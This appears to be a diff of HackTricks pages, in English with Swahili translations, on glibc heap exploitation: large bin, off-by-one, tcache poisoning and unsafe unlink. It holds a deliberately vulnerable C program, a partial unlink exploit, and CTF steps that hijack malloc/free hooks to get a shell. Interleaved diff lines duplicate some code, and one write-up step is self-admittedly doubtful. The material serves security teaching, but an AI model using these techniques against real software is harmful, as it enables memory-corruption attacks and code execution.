> Kuna hali nyingine zinazoweza kutokea, jambo ni kuongeza kwenye bin kubwa kipande ambacho ni **kidogo** kuliko kipande cha sasa X kilichomo kwenye bin, hivyo inahitaji kuingizwa kabla yake kwenye bin, na tunahitaji kuwa na uwezo wa kubadilisha **`bk_nextsize`** ya X kwani hapo ndipo anwani ya kipande kidogo itakapandikizwa.
Hii ndiyo code muhimu kutoka malloc. Maoni yameongezwa ili kuelewa vizuri jinsi anwani ilivyofutwa:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
{
fwd = bck; // fwd = p1
bck = bck->bk; // bck = p1->bk
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
}
```
Hii inaweza kutumika **kuandika upya `global_max_fast` variable ya global** ya libc ili kisha kutumia shambulio la fast bin na vipande vikubwa.
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
Unaweza kupata maelezo mengine mazuri kuhusu shambulio hili katika [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
### Other examples
### Mifano mingine
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- The write primitive is more complex, because `global_max_fast` is useless here.
- FSOP is needed to finish the exploit.
- Shambulio la large bin katika hali sawa na inavyoonekana katika [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- Primitive ya kuandika ni ngumu zaidi, kwa sababu `global_max_fast` haina maana hapa.
- FSOP inahitajika kumaliza exploit.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,112 +4,110 @@
## Basic Information
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
Kuwa na ufikiaji wa overflow ya 1B inaruhusu mshambuliaji kubadilisha uwanja wa `size` kutoka kwa kipande kinachofuata. Hii inaruhusu kuingilia kati ni vipande gani vinaachiliwa, na huenda ikazalisha kipande kinachoshikilia kipande kingine halali. Utekelezaji ni sawa na [double free](double-free.md) au vipande vinavyoshirikiana.
There are 2 types of off by one vulnerabilities:
Kuna aina 2 za udhaifu wa off by one:
- Arbitrary byte: This kind allows to overwrite that byte with any value
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
- Byte isiyo na mpangilio: Aina hii inaruhusu kuandika byte hiyo kwa thamani yoyote
- Byte ya Null (off-by-null): Aina hii inaruhusu kuandika byte hiyo tu kwa 0x00
- Mfano wa kawaida wa udhaifu huu unaweza kuonekana katika msimbo ufuatao ambapo tabia ya `strlen` na `strcpy` haiko sawa, ambayo inaruhusu kuweka byte ya 0x00 mwanzoni mwa kipande kinachofuata.
- Hii inaweza kutumika kwa [House of Einherjar](house-of-einherjar.md).
- Ikiwa unatumia Tcache, hii inaweza kutumika katika hali ya [double free](double-free.md).
<details>
<summary>Off-by-null</summary>
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
char buffer[40]="";
void *chunk1;
chunk1 = malloc(24);
puts("Get Input");
gets(buffer);
if(strlen(buffer)==24)
{
strcpy(chunk1,buffer);
}
return 0;
}
```
</details>
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
Kati ya ukaguzi wengine, sasa kila wakati kipande kinapokuwa huru, ukubwa wa awali unalinganishwa na ukubwa uliowekwa katika metadata ya kipande, na kufanya shambulio hili kuwa gumu sana kuanzia toleo la 2.28.
### Code example:
### Mfano wa msimbo:
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
- This attack is no longer working due to the use of Tcaches.
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
- Shambulio hili halifanyi kazi tena kutokana na matumizi ya Tcaches.
- Zaidi ya hayo, ikiwa unajaribu kulitumia kwa kutumia vipande vikubwa (hivyo tcaches hazihusiki), utapata kosa: `malloc(): invalid next size (unsorted)`
### Goal
### Lengo
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
- Fanya kipande kiwe ndani ya kipande kingine ili kuandika ufikiaji juu ya kipande hicho cha pili kuruhusu kuandika juu ya kile kilichomo
### Requirements
### Mahitaji
- Off by one overflow to modify the size metadata information
- Off by one overflow kubadilisha taarifa za metadata za ukubwa
### General off-by-one attack
### Shambulio la jumla la off-by-one
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
- Free `C` (inserted into 0x20 Tcache free-list).
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
- Now we have `B` containing the free chunk `C`
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
- Pata vipande vitatu `A`, `B` na `C` (kusema ukubwa 0x20), na kingine ili kuzuia kuunganishwa na kipande cha juu.
- Acha `C` (iliyoingizwa kwenye orodha ya bure ya 0x20 Tcache).
- Tumia kipande `A` kujaa juu ya `B`. Tumia off-by-one kubadilisha uwanja wa `size` wa `B` kutoka 0x21 hadi 0x41.
- Sasa tuna `B` ikijumuisha kipande huru `C`
- Acha `B` na pata kipande cha 0x40 (kitakuwa hapa tena)
- Tunaweza kubadilisha kiashiria cha `fd` kutoka `C`, ambacho bado ni huru (Tcache poisoning)
### Off-by-null attack
### Shambulio la off-by-null
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that its 0x10 smaller than it really is).
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
- Vipande 3 vya kumbukumbu (a, b, c) vinahifadhiwa moja baada ya nyingine. Kisha kipande cha kati kinachukuliwa. Kipande cha kwanza kina udhaifu wa off by one overflow na mshambuliaji anautumia kwa 0x00 (ikiwa byte ya awali ilikuwa 0x10 ingefanya kipande cha kati kuonyesha kwamba ni 0x10 kidogo kuliko ilivyo).
- Kisha, vipande viwili vidogo zaidi vinapatikana katika kipande kilichochukuliwa (b), hata hivyo, kama `b + b->size` kamwe havisasisha kipande c kwa sababu anwani iliyoonyeshwa ni ndogo kuliko inavyopaswa.
- Kisha, b1 na c vinachukuliwa. Kama `c - c->prev_size` bado inaonyesha b (b1 sasa), vyote vinaundwa katika kipande kimoja. Hata hivyo, b2 bado kiko kati ya b1 na c.
- Hatimaye, malloc mpya inafanywa ikirejesha eneo hili la kumbukumbu ambalo kwa kweli litakuwa na b2, ikiruhusu mmiliki wa malloc mpya kudhibiti maudhui ya b2.
This image explains perfectly the attack:
Picha hii inaelezea shambulio kwa ukamilifu:
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
## Other Examples & References
## Mifano Mingine & Marejeleo
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- Off-by-one because of `strlen` considering the next chunk's `size` field.
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
- Off-by-one kwa sababu ya `strlen` ikizingatia uwanja wa `size` wa kipande kinachofuata.
- Tcache inatumika, hivyo shambulio la jumla la off-by-one linafanya kazi kupata primitive ya kuandika isiyo na mpangilio kwa kutumia Tcache poisoning.
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
- Inawezekana kutumia off by one kuvuja anwani kutoka kwenye heap kwa sababu byte 0x00 ya mwisho wa mfuatano inayoandikwa tena na uwanja unaofuata.
- Kuandika isiyo na mpangilio kunapatikana kwa kutumia off by one kuandika ili kufanya kiashiria kiwe kwenye mahali pengine ambapo muundo wa uwongo na viashiria vya uwongo vitajengwa. Kisha, inawezekana kufuata kiashiria cha muundo huu ili kupata kuandika isiyo na mpangilio.
- Anwani ya libc inavuja kwa sababu ikiwa heap inapanuliwa kwa kutumia mmap, kumbukumbu iliyotolewa na mmap ina offset thabiti kutoka libc.
- Hatimaye, kuandika isiyo na mpangilio kunatumika kuandika kwenye anwani ya \_\_free_hook kwa kutumia gadget moja.
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- In the writeup 5 initial chunks are created:
- chunk1 (0x200)
- chunk2 (0x50)
- chunk5 (0x68)
- chunk3 (0x1f8)
- chunk4 (0xf0)
- chunk defense (0x400) to avoid consolidating with top chunk
- Then chunk 1, 5 and 3 are freed, so:
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- ```python
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
```
- ```python
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
```
- Then, `0x200` bytes are allocated filling the original chunk 1
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
- Kuna udhaifu wa NULL off by one katika kazi ya `getline` inayosoma mistari ya ingizo la mtumiaji. Kazi hii inatumika kusoma "funguo" ya maudhui na si maudhui yenyewe.
- Katika andiko hilo vipande 5 vya awali vinaundwa:
- kipande1 (0x200)
- kipande2 (0x50)
- kipande5 (0x68)
- kipande3 (0x1f8)
- kipande4 (0xf0)
- kipande cha ulinzi (0x400) ili kuepuka kuunganishwa na kipande cha juu
- Kisha kipande 1, 5 na 3 vinachukuliwa, hivyo:
- ```python
[ 0x200 Kipande 1 (huru) ] [ 0x50 Kipande 2 ] [ 0x68 Kipande 5 (huru) ] [ 0x1f8 Kipande 3 (huru) ] [ 0xf0 Kipande 4 ] [ 0x400 Kipande cha ulinzi ]
```
- Kisha kwa kutumia kipande3 (0x1f8) udhaifu wa null off-by-one unatumika kuandika prev_size kuwa `0x4e0`.
- Kumbuka jinsi ukubwa wa vipande vilivyotolewa awali 1, 2, 5 na 3 pamoja na vichwa vya vipande hivyo 4 vinavyolingana na `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- Kisha, kipande 4 kinachukuliwa, kikizalisha kipande kinachotumia vipande vyote hadi mwanzo:
- ```python
[ 0x4e0 Kipande 1-2-5-3 (huru) ] [ 0xf0 Kipande 4 (kilichoharibiwa) ] [ 0x400 Kipande cha ulinzi ]
```
- ```python
[ 0x200 Kipande 1 (huru) ] [ 0x50 Kipande 2 ] [ 0x68 Kipande 5 (huru) ] [ 0x1f8 Kipande 3 (huru) ] [ 0xf0 Kipande 4 ] [ 0x400 Kipande cha ulinzi ]
```
- Kisha, bytes `0x200` zinapatikana zikijaza kipande cha awali 1
- Na bytes nyingine `0x200` zinapatikana na kipande2 kinaharibiwa na kwa hivyo hakuna kuvuja na hii haifanyi kazi? Labda hii haipaswi kufanywa
- Kisha, inapata kipande kingine chenye `0x58 "a"s (ikiandika kipande2 na kufikia kipande5) na kubadilisha `fd` ya kipande cha haraka cha kipande5 ikielekeza kwenye `__malloc_hook`
- Kisha, kipande cha 0x68 kinapatikana hivyo kipande cha haraka cha uwongo katika `__malloc_hook` ni kipande cha haraka kinachofuata
- Hatimaye, kipande kipya cha haraka cha 0x68 kinapatikana na `__malloc_hook` kinabadilishwa na anwani ya `one_gadget`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Kuandika juu ya kipande kilichofutwa
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Mbinu kadhaa za kupambana na heap exploitation zinahitaji uwezo wa kuandika juu ya viashiria ndani ya vipande vilivyofutwa. Lengo la ukurasa huu ni kufupisha uwezekano wa udhaifu ambao unaweza kutoa ufikiaji huu:
### Simple Use After Free
### Matumizi Rahisi Baada ya Kufutwa
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
Ikiwa inawezekana kwa mshambuliaji **kuandika habari katika kipande kilichofutwa**, wanaweza kutumia hii kuandika juu ya viashiria vinavyohitajika.
### Double Free
### Kufutwa Mara Mbili
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
Ikiwa mshambuliaji anaweza **`free` kipande kimoja mara mbili** (kufuta vipande vingine kati ya wakati huo) na kufanya iwe **mara mbili katika bin moja**, itakuwa inawezekana kwa mtumiaji **kugawa kipande hicho baadaye**, **kuandika viashiria vinavyohitajika** na kisha **kugawa tena** ikichochea vitendo vya kipande hicho kugawiwa (mfano: fast bin attack, tcache attack...)
### Heap Overflow
### Overflow ya Heap
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
Inaweza kuwa inawezekana **kujaa kipande kilichogawiwa chenye kipande kilichofutwa** na kubadilisha baadhi ya vichwa/viashiria vyake.
### Off-by-one overflow
### Overflow ya Off-by-one
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
Katika kesi hii itakuwa inawezekana **kubadilisha ukubwa** wa kipande kinachofuata katika kumbukumbu. Mshambuliaji anaweza kutumia hii **kufanya kipande kilichogawiwa kuwa na ukubwa mkubwa**, kisha **`free`** hiyo, na kufanya kipande hicho **kuongezwa kwenye bin ya ukubwa tofauti** (mkubwa), kisha kugawa **ukubwa wa uwongo**, na shambulio litakuwa na ufikiaji wa **kipande chenye ukubwa ambao ni mkubwa** kuliko ilivyo, **hivyo kutoa hali ya vipande vinavyopingana**, ambayo inaweza kutumika kwa njia sawa na **overflow ya heap** (angalia sehemu ya awali).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Kwa maelezo zaidi kuhusu nini Tcache bin angalia ukurasa huu:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
Kwanza kabisa, kumbuka kwamba Tcache ilianzishwa katika toleo la Glibc 2.26.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
**Tcache attack** (pia inajulikana kama **Tcache poisoning**) iliyopendekezwa katika [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) ni sawa sana na shambulio la fast bin ambapo lengo ni kubadilisha kiashiria cha kipande kinachofuata ndani ya bin ndani ya kipande kilichofutwa kuwa anwani isiyo ya kawaida ili baadaye iwezekane **kugawa anwani hiyo maalum na kwa uwezekano kubadilisha pointes**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
Hata hivyo, siku hizi, ukikimbia msimbo ulioelezwa utapata kosa: **`malloc(): unaligned tcache chunk detected`**. Hivyo, inahitajika kuandika kama anwani katika kiashiria kipya anwani iliyo sawa (au kutekeleza mara nyingi za kutosha binary ili anwani iliyoandikwa iwe kweli imepangwa).
### Tcache indexes attack
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Kawaida inawezekana kupata mwanzoni mwa heap kipande kinachoshikilia **idadi ya vipande kwa kila index** ndani ya tcache na anwani ya **kipande cha kichwa cha kila tcache index**. Ikiwa kwa sababu fulani inawezekana kubadilisha habari hii, itakuwa inawezekana **kufanya kipande cha kichwa cha index fulani kiashirie anwani inayotakiwa** (kama `__malloc_hook`) ili kisha kugawa kipande cha ukubwa wa index na kubadilisha yaliyomo ya `__malloc_hook` katika kesi hii.
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Libc info leak**: Inawezekana kujaza tcaches, kuongeza kipande kwenye orodha isiyo na mpangilio, kufuta tcache na **kugawa tena kipande kutoka kwa bin isiyo na mpangilio** kwa kubadilisha tu 8B za kwanza, ikiacha **anwani ya pili kwa libc kutoka kwa kipande kuwa salama ili tuweze kuisoma**.
- **Tcache attack**: Binary ina udhaifu wa overflow wa heap wa 1B. Hii itatumika kubadilisha **kichwa cha ukubwa** cha kipande kilichogawiwa na kukifanya kuwa kikubwa. Kisha, kipande hiki kitafutwa, kikiongezwa kwenye tcache ya vipande vya ukubwa bandia. Kisha, tutagawia kipande chenye ukubwa bandia, na kipande cha awali kitarejeshwa tukijua kwamba kipande hiki kwa kweli kilikuwa kidogo na hii inatoa fursa ya **kubadilisha kipande kinachofuata katika kumbukumbu**.\
Tutatumia hii **kubadilisha kiashiria cha FD cha kipande kinachofuata** ili kiashirie **`malloc_hook`**, hivyo basi inawezekana kugawa viashiria 2: kwanza kiashiria halali tulichobadilisha, na kisha ugawaji wa pili utarejesha kipande katika **`malloc_hook`** ambacho kinaweza kutumika kuandika **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Libc info leak**: Kuna matumizi baada ya kufuta na kufuta mara mbili. Katika andiko hili mwandishi alivuja anwani ya libc kwa kusoma anwani ya kipande kilichowekwa katika bin ndogo (kama kuvuja kutoka kwa bin isiyo na mpangilio lakini kutoka kwa ndogo).
- **Tcache attack**: Tcache inafanywa kupitia **kufuta mara mbili**. Kipande hicho hicho kinafutwa mara mbili, hivyo ndani ya Tcache kipande kitakuwa kinaashiria mwenyewe. Kisha, kinagawiwa, kiashiria chake cha FD kinabadilishwa kuashiria **free hook** na kisha kinagawiwa tena hivyo kipande kinachofuata katika orodha kitakuwa katika free hook. Kisha, hii pia inagawiwa na inawezekana kuandika anwani ya `system` hapa hivyo wakati malloc inayoshikilia `"/bin/sh"` inafutwa tunapata shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- Udhaifu mkuu hapa ni uwezo wa `free` anwani yoyote katika heap kwa kuashiria ofset yake.
- **Tcache indexes attack**: Inawezekana kugawa na kufuta kipande cha ukubwa ambao unapohifadhiwa ndani ya kipande cha tcache (kipande chenye habari za tcache bins) kitazalisha **anwani yenye thamani 0x100**. Hii ni kwa sababu tcache inahifadhi idadi ya vipande kwenye kila bin katika bytes tofauti, hivyo kipande kimoja katika index maalum kinazalisha thamani 0x100.
- Kisha, thamani hii inaonekana kama kuna kipande cha ukubwa 0x100. Inaruhusu kuabudu kwa `free` anwani hii. Hii itafanya **kuongeza anwani hiyo kwenye index ya vipande vya ukubwa 0x100 katika tcache**.
- Kisha, **kugawa** kipande cha ukubwa **0x100**, anwani ya awali itarejeshwa kama kipande, ikiruhusu kubadilisha index nyingine za tcache.\
Kwa mfano kuweka anwani ya malloc hook katika moja yao na kugawa kipande cha ukubwa wa index hiyo kutatoa kipande katika calloc hook, ambayo inaruhusu kuandika one gadget ili kupata shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Udhaifu sawa na wa awali lakini ukiwa na kikomo kimoja cha ziada.
- **Tcache indexes attack**: Shambulio linalofanana na la awali lakini likitumia hatua chache kwa **kufuta kipande kinachoshikilia habari za tcache** ili anwani yake iongezwe kwenye index ya tcache ya ukubwa wake ili iwezekane kugawa ukubwa huo na kupata habari za kipande cha tcache kama kipande, ambayo inaruhusu kuongeza free hook kama anwani ya index moja, kuigawa, na kuandika one gadget juu yake.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- **Write After Free** kuongeza nambari kwenye kiashiria cha `fd`.
- Mengi ya **heap feng-shui** yanahitajika katika changamoto hii. Andiko linaonyesha jinsi **kudhibiti kichwa cha Tcache** free-list ni rahisi sana.
- **Glibc leak** kupitia `stdout` (FSOP).
- **Tcache poisoning** kupata primitive ya kuandika isiyo ya kawaida.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,13 @@
## Basic Information
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Wakati shambulio hili lilipogunduliwa, liliruhusu sana WWW (Write What Where), hata hivyo, **ukaguzi fulani ziliongezwa** zikifanya toleo jipya la shambulio kuwa la kuvutia zaidi, gumu zaidi na **lisilo na maana**.
### Code Example:
<details>
<summary>Code</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
